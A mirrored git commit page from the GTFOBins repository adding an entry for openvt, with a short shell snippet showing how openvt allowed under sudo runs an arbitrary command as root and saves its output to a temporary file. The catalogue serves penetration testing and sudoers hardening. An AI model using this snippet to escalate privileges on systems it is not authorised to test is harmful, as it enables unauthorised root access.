mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add openvt
This commit is contained in:
commit
d9c80007cb
10
_gtfobins/openvt.md
Normal file
10
_gtfobins/openvt.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.
|
||||||
|
code: |
|
||||||
|
COMMAND=id
|
||||||
|
TF=$(mktemp -u)
|
||||||
|
sudo openvt -- sh -c "$COMMAND >$TF 2>&1"
|
||||||
|
cat $TF
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user